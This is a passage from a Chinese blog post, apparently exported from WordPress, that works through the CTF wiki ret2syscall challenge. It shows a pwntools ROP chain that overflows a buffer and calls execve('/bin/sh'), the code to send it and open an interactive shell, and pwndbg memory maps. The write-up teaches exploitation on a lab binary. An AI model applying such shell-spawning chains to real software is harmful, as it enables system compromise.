flat\u51fd\u6570&#xff1a;pwntools\u7684\u667a\u80fd\u6253\u5305\u5de5\u5177&#xff0c;\u81ea\u52a8\u5c06\u4e0d\u540c\u7c7b\u578b\u6570\u636e&#xff08;\u5b57\u7b26\u4e32\u3001\u6574\u6570&#xff09;\u8f6c\u4e3a32\u4f4d\u5c0f\u7aef\u5e8f\u5b57\u8282\u4e32\u5e76\u62fc\u63a5<br \/>\n# payload\u7684\u6784\u9020\u4e25\u683c\u9075\u5faa\u6808\u5e03\u5c40\u89c4\u5219&#xff1a;\u586b\u5145\u5b57\u7b26 \u2192 gadget\u5730\u5740 \u2192 \u5bc4\u5b58\u5668\u503c \u2192 \u4e0b\u4e00\u4e2agadget\u5730\u5740 \u2192 &#8230;<br \/>\n# payload &#061; flat(<br \/>\n    # \u7b2c\u4e00\u90e8\u5206&#xff1a;\u586b\u5145\u5b57\u7b26&#xff08;112\u4e2a&#039;A&#039;&#xff09;<br \/>\n    # \u4f5c\u7528&#xff1a;\u586b\u6ee1\u6808\u4e0a\u7684\u7f13\u51b2\u533a&#xff0c;\u521a\u597d\u8986\u76d6\u5230\u6f0f\u6d1e\u51fd\u6570\u7684\u8fd4\u56de\u5730\u5740&#xff08;EIP&#xff09;\u4f4d\u7f6e<br \/>\n    # 112\u662f\u901a\u8fc7\u6f0f\u6d1e\u8c03\u8bd5&#xff08;\u5982gdb&#xff09;\u786e\u5b9a\u7684\u7cbe\u51c6\u586b\u5145\u957f\u5ea6&#xff0c;\u5c11\u5219\u65e0\u6cd5\u8986\u76d6EIP&#xff0c;\u591a\u5219\u7834\u574f\u540e\u7eedROP\u94fe<br \/>\n    #&#039;A&#039; * 112,<\/p>\n<p>    # \u7b2c\u4e8c\u90e8\u5206&#xff1a;\u8bbe\u7f6eexecve\u7cfb\u7edf\u8c03\u7528\u53f7&#xff08;eax&#061;0xb&#xff09;<br \/>\n    # \u7b2c\u4e00\u6b65&#xff1a;\u8df3\u8f6c\u5230pop_eax_ret gadget&#xff08;\u8986\u76d6\u539f\u8fd4\u56de\u5730\u5740&#xff0c;\u7a0b\u5e8fret\u65f6\u8df3\u81f3\u6b64&#xff09;<br \/>\n    #pop_eax_ret,<br \/>\n    # \u7b2c\u4e8c\u6b65&#xff1a;\u6808\u4e0a\u76840xb\u4f1a\u88abpop eax\u6307\u4ee4\u5199\u5165eax\u5bc4\u5b58\u5668&#xff08;0xb\u662fexecve\u7684\u7cfb\u7edf\u8c03\u7528\u53f7&#xff0c;\u5341\u8fdb\u523611&#xff09;<br \/>\n    #0xb,<\/p>\n<p>    # \u7b2c\u4e09\u90e8\u5206&#xff1a;\u8bbe\u7f6eexecve\u7684\u4e09\u4e2a\u53c2\u6570&#xff08;edx&#061;0, ecx&#061;0, ebx&#061;\/bin\/sh\u5730\u5740&#xff09;<br \/>\n    # \u7b2c\u4e00\u6b65&#xff1a;\u8df3\u8f6c\u5230pop_edx_ecx_ebx_ret gadget&#xff08;pop eax\u540e\u7684ret\u6307\u4ee4\u8df3\u81f3\u6b64&#xff09;<br \/>\n    #pop_edx_ecx_ebx_ret,<br \/>\n    # \u7b2c\u4e8c\u6b65&#xff1a;\u6808\u4e0a\u76840\u88abpop edx\u5199\u5165edx&#xff08;execve\u7b2c\u4e09\u4e2a\u53c2\u6570&#xff1a;\u73af\u5883\u53d8\u91cf\u6570\u7ec4&#xff0c;\u8bbe\u4e3aNULL&#xff09;<br \/>\n    #0,<br \/>\n    # \u7b2c\u4e09\u6b65&#xff1a;\u6808\u4e0a\u76840\u88abpop ecx\u5199\u5165ecx&#xff08;execve\u7b2c\u4e8c\u4e2a\u53c2\u6570&#xff1a;\u53c2\u6570\u6570\u7ec4&#xff0c;\u8bbe\u4e3aNULL&#xff09;<br \/>\n    #0,<br \/>\n    # \u7b2c\u56db\u6b65&#xff1a;\u6808\u4e0a\u7684binsh\u5730\u5740\u88abpop ebx\u5199\u5165ebx&#xff08;execve\u7b2c\u4e00\u4e2a\u53c2\u6570&#xff1a;\u6307\u5411&#034;\/bin\/sh&#034;&#xff09;<br \/>\n    #binsh,<\/p>\n<p>    # \u7b2c\u56db\u90e8\u5206&#xff1a;\u89e6\u53d1\u7cfb\u7edf\u8c03\u7528<br \/>\n    # \u8df3\u8f6c\u5230int_0x80\u6307\u4ee4&#xff0c;\u6b64\u65f6\u6240\u6709\u5bc4\u5b58\u5668\u53c2\u6570\u5df2\u51c6\u5907\u597d&#xff0c;\u5185\u6838\u6267\u884cexecve(&#034;\/bin\/sh&#034;, NULL, NULL)<br \/>\n    #int_0x80<br \/>\n#)<\/p>\n<p># 4. \u53d1\u9001\u6784\u9020\u597d\u7684payload\u5230\u76ee\u6807\u8fdb\u7a0b<br \/>\n# sendline\u4f1a\u81ea\u52a8\u6dfb\u52a0\u6362\u884c\u7b26&#xff0c;\u786e\u4fddpayload\u88ab\u76ee\u6807\u7a0b\u5e8f\u7684\u8f93\u5165\u51fd\u6570&#xff08;\u5982scanf\u3001gets&#xff09;\u5b8c\u6574\u8bfb\u53d6<br \/>\n# \u53d1\u9001\u540e\u7acb\u5373\u89e6\u53d1\u7f13\u51b2\u533a\u6ea2\u51fa&#xff0c;\u52ab\u6301\u7a0b\u5e8f\u6267\u884c\u6d41<br \/>\nsh.sendline(payload)<\/p>\n<p># 5. \u8fdb\u5165\u4ea4\u4e92\u5f0f\u6a21\u5f0f&#xff0c;\u63a5\u7ba1\u76ee\u6807\u8fdb\u7a0b\u7684\u8f93\u5165\/\u8f93\u51fa<br \/>\n# \u6b64\u65f6execve(&#034;\/bin\/sh&#034;)\u5df2\u6267\u884c&#xff0c;\u7a0b\u5e8f\u4f1a\u5f39\u51fashell&#xff0c;\u8be5\u6307\u4ee4\u8ba9\u4f60\u53ef\u4ee5\u548cshell\u4ea4\u4e92&#xff08;\u6267\u884cls\u3001cat\u7b49\u547d\u4ee4&#xff09;<br \/>\nsh.interactive() <\/p>\n<h4>5.\u8c03\u8bd5\u8fc7\u7a0b<\/h4>\n<p>\u8fd9\u91cc\u76f4\u63a5\u770b\u5bc4\u5b58\u5668\u91cc\u8fb9\u662f\u5426\u662f\u6211\u4eecsend\u8fdb\u7684\u503c&#xff08;\u89e3\u91ca\u4e0d\u5bf9\u7684\u5730\u65b9\u8bf7\u5728\u8bc4\u8bba\u533a\u91cc\u6307\u51fa\u8bf4\u660e&#xff0c;\u4ee5\u4fbf\u8ba9\u5927\u5bb6\u4e00\u8d77\u5b66\u4e60\u8fdb\u6b65&#xff09;<\/p>\n<p>\u4ee5ebx\u5bc4\u5b58\u5668\u4e3a\u4f8b<\/p>\n<p>\u53d1\u9001payload\u524d<\/p>\n<p>pwndbg&gt; vmmap $ebx<br \/>\nLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA<br \/>\n 0x8048000  0x80e9000 r-xp    a1000 0      \/home\/Debug\/Desktop\/ret2syscall\/bamboofox-ret2syscall\/rop<br \/>\n 0x80e9000  0x80eb000 rw-p     2000 a0000  \/home\/Debug\/Desktop\/ret2syscall\/bamboofox-ret2syscall\/rop<br \/>\n 0x80eb000  0x80ed000 rw-p     2000 0<br \/>\n 0x9bcb000  0x9bed000 rw-p    22000 0      [heap]<br \/>\n0xf7faf000 0xf7fb0000 rw-p     1000 0<br \/>\n0xf7fb0000 0xf7fb3000 r&#8211;p     3000 0      [vvar]<br \/>\n0xf7fb3000 0xf7fb5000 r-xp     2000 0      [vdso]<br \/>\n0xfff11000 0xfff32000 rw-p    21000 0      [stack]<\/p>\n<p>\u53d1\u9001payload\u540e<\/p>\n<p>pwndbg&gt; vmmap $ebx<br \/>\nLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA<br \/>\n    0x558e53afc000     0x558e53b18000 r-xp    1c000 0      \/bin\/dash<br \/>\n    0x558e53d17000     0x558e53d19000 r&#8211;p     2000 1b000  \/bin\/dash<br \/>\n    0x558e53d19000     0x558e53d1a000 rw-p     1000 1d000  \/bin\/dash<br \/>\n    0x558e53d1a000     0x558e53d1c000 rw-p     2000 0<br \/>\n    0x558e54024000     0x558e54045000 rw-p    21000 0      [heap]<br \/>\n    0x7fe9b2a58000     0x7fe9b2c3f000 r-xp   1e7000 0      \/lib\/x86_64-linux-gnu\/libc-2.27.so<br \/>\n    0x7fe9b2c3f000     0x7fe9b2e3f000 &#8212;p   200000 1e7000 \/lib\/x86_64-linux-gnu\/libc-2.27.so<br \/>\n    0x7fe9b2e3f000     0x7fe9b2e43000 r&#8211;p     4000 1e7000 \/lib\/x86_64-linux-gnu\/libc-2.27.so<br \/>\n    0x7fe9b2e43000     0x7fe9b2e45000 rw-p     2000 1eb000 \/lib\/x86_64-linux-gnu\/libc-2.27.so<br \/>\n    0x7fe9b2e45000     0x7fe9b2e49000 rw-p     4000 0<br \/>\n    0x7fe9b2e49000     0x7fe9b2e72000 r-xp    29000 0      \/lib\/x86_64-linux-gnu\/ld-2.27.so<br \/>\n    0x7fe9b3051000     0x7fe9b3053000 rw-p     2000 0<br \/>\n    0x7fe9b3072000     0x7fe9b3073000 r&#8211;p     1000 29000  \/lib\/x86_64-linux-gnu\/ld-2.27.so<br \/>\n    0x7fe9b3073000     0x7fe9b3074000 rw-p     1000 2a000  \/lib\/x86_64-linux-gnu\/ld-2.27.so<br \/>\n    0x7fe9b3074000     0x7fe9b3075000 rw-p     1000 0<br \/>\n    0x7ffded60b000     0x7ffded62c000 rw-p    21000 0      [stack]<br \/>\n    0x7ffded728000     0x7ffded72b000 r&#8211;p     3000 0      [vvar]<br \/>\n    0x7ffded72b000     0x7ffded72d000 r-xp     2000 0      [vdso]<br \/>\n0xffffffffff600000 0xffffffffff601000 &#8211;xp     1000 0      [vsyscall]<\/p>\n<p>\u7531\u4e8e\u672c\u4eba\u8c03\u8bd5\u80fd\u529b\u5c1a\u5f31&#xff0c;\u56e0\u6b64\u8fd9\u91cc\u6211\u53ea\u8bd5\u51fa\u6765ebx\u91cc\u503c\u7684\u53d8\u5316&#xff0c;\u6b22\u8fce\u5404\u4f4d\u5e08\u5085\u4eec\u5728\u8bc4\u8bba\u533a\u91cc\u8865\u5145<\/p>\n<\/p>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>ret2syscall \u4e0b\u8f7d\u5730\u5740&#xff1a;https:\/\/github.com\/ctf-wiki\/ctf-challenges\/raw\/master\/pwn\/linux\/user-mode\/stackoverflow\/ret2syscall\/bamboofox-ret2syscall\/rophttps:\/\/github.com\/ctf-wiki\/ctf-challenges\/raw\/master\/pwn\/linux\/user-mode\/stackoverflow\/ret<\/p>\n","protected":false},"author":2,"featured_media":72560,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[371,78,122],"topic":[],"class_list":["post-72561","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-371","tag-78","tag-122"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>PWN | \u5bf9CTF WIKI\u7684\u590d\u73b0+\u518d\u5b66\u4e60 \uff08\u7b2c\u4e09\u671f\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/72561.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"PWN | \u5bf9CTF WIKI\u7684\u590d\u73b0+\u518d\u5b66\u4e60 \uff08\u7b2c\u4e09\u671f\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"ret2syscall \u4e0b\u8f7d\u5730\u5740&#xff1a;https:\/\/github.com\/ctf-wiki\/ctf-challenges\/raw\/master\/pwn\/linux\/user-mode\/stackoverflow\/ret2syscall\/bamboofox-ret2syscall\/rophttps:\/\/github.com\/ctf-wiki\/ctf-challenges\/raw\/master\/pwn\/linux\/user-mode\/stackoverflow\/ret\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/72561.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-05T15:48:54+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260205154853-6984bbe5620ff.png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/72561.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/72561.html\",\"name\":\"PWN | \u5bf9CTF WIKI\u7684\u590d\u73b0+\u518d\u5b66\u4e60 \uff08\u7b2c\u4e09\u671f\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-02-05T15:48:54+00:00\",\"dateModified\":\"2026-02-05T15:48:54+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/72561.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/72561.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/72561.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"PWN | \u5bf9CTF WIKI\u7684\u590d\u73b0+\u518d\u5b66\u4e60 \uff08\u7b2c\u4e09\u671f\uff09\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"PWN | \u5bf9CTF WIKI\u7684\u590d\u73b0+\u518d\u5b66\u4e60 \uff08\u7b2c\u4e09\u671f\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/72561.html","og_locale":"zh_CN","og_type":"article","og_title":"PWN | \u5bf9CTF WIKI\u7684\u590d\u73b0+\u518d\u5b66\u4e60 \uff08\u7b2c\u4e09\u671f\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"ret2syscall \u4e0b\u8f7d\u5730\u5740&#xff1a;https:\/\/github.com\/ctf-wiki\/ctf-challenges\/raw\/master\/pwn\/linux\/user-mode\/stackoverflow\/ret2syscall\/bamboofox-ret2syscall\/rophttps:\/\/github.com\/ctf-wiki\/ctf-challenges\/raw\/master\/pwn\/linux\/user-mode\/stackoverflow\/ret","og_url":"https:\/\/www.wsisp.com\/helps\/72561.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-02-05T15:48:54+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260205154853-6984bbe5620ff.png"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"7 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/72561.html","url":"https:\/\/www.wsisp.com\/helps\/72561.html","name":"PWN | \u5bf9CTF WIKI\u7684\u590d\u73b0+\u518d\u5b66\u4e60 \uff08\u7b2c\u4e09\u671f\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-02-05T15:48:54+00:00","dateModified":"2026-02-05T15:48:54+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/72561.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/72561.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/72561.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"PWN | \u5bf9CTF WIKI\u7684\u590d\u73b0+\u518d\u5b66\u4e60 \uff08\u7b2c\u4e09\u671f\uff09"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/72561","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=72561"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/72561\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/72560"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=72561"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=72561"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=72561"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=72561"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}